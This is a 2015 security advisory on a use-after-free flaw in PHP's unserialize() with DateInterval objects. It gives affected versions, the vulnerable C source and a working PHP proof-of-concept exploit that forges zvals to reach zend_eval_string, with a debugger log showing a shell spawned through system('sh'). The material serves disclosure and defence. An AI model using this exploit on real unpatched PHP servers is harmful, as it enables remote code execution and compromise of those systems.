Use After Free Vulnerability in unserialize() with DateInterval

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#Use After Free Vulnerability in unserialize() with DateInterval

Taoguang Chen <@chtg> - Write Date: 2015.2.28 - Release Date: 2015.3.20

A use-after-free vulnerability was discovered in unserialize() with DateInterval object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions

Affected is PHP 5.6 < 5.6.7
Affected is PHP 5.5 < 5.5.23
Affected is PHP 5.4 < 5.4.39
Affected is PHP 5.3 <= 5.3.29

Credits

This vulnerability was disclosed by Taoguang Chen.

Description

static int php_date_interval_initialize_from_hash(zval **return_value, php_interval_obj **intobj, HashTable *myht TSRMLS_DC)
{
	(*intobj)->diff = timelib_rel_time_ctor();

#define PHP_DATE_INTERVAL_READ_PROPERTY(element, member, itype, def) \
	do { \
		zval **z_arg = NULL; \
		if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS) { \
			convert_to_long(*z_arg); \
			(*intobj)->diff->member = (itype)Z_LVAL_PP(z_arg); \
		} else { \
			(*intobj)->diff->member = (itype)def; \
		} \
	} while (0);

#define PHP_DATE_INTERVAL_READ_PROPERTY_I64(element, member) \
	do { \
		zval **z_arg = NULL; \
		if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS) { \
			convert_to_string(*z_arg); \
			DATE_A64I((*intobj)->diff->member, Z_STRVAL_PP(z_arg)); \
		} else { \
			(*intobj)->diff->member = -1LL; \
		} \
	} while (0);

The convert_to_long()\convert_to_string() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code.

Proof of Concept Exploit

The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14.

<?php

$f = $argv[1];
$c = $argv[2];

$fakezval1 = ptr2str(0x100b83008);
$fakezval1 .= ptr2str(0x8);
$fakezval1 .= "\x00\x00\x00\x00";
$fakezval1 .= "\x06";
$fakezval1 .= "\x00";
$fakezval1 .= "\x00\x00";

$data1 = 'a:3:{i:0;O:12:"DateInterval":1:{s:1:"y";a:2:{i:0;i:1;i:1;i:2;}}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:5;}}';

$x = unserialize($data1);
$y = $x[2];

// zend_eval_string()'s address
$y[0][0] = "\x6d";
$y[0][1] = "\x1e";
$y[0][2] = "\x35";
$y[0][3] = "\x00";
$y[0][4] = "\x01";
$y[0][5] = "\x00";
$y[0][6] = "\x00";
$y[0][7] = "\x00";

$fakezval2 = ptr2str(0x3b296324286624); // $f($c);
$fakezval2 .= ptr2str(0x100b83000);
$fakezval2 .= "\x00\x00\x00\x00";
$fakezval2 .= "\x05";
$fakezval2 .= "\x00";
$fakezval2 .= "\x00\x00";

$data2 = 'a:3:{i:0;O:12:"DateInterval":1:{s:1:"y";a:2:{i:0;i:1;i:1;i:2;}}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;O:12:"DateInterval":1:{s:1:"y";a:1:{i:0;R:5;}}}';

$z = unserialize($data2);

function ptr2str($ptr)
{
	$out = "";
	for ($i=0; $i<8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}

?>

Test the PoC on the command line, then any PHP code can be executed:

$ lldb php
(lldb) target create "php"
Current executable set to 'php' (x86_64).
(lldb) run uafpoc.php assert "system\('sh'\)==exit\(\)"
Process 13472 launched: '/usr/bin/php' (x86_64)
sh: no job control in this shell
sh-3.2$ php -v
PHP 5.5.14 (cli) (built: Sep  9 2014 19:09:25) 
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
sh-3.2$ exit
exit
Process 13472 exited with status = 0 (0x00000000) 
(lldb)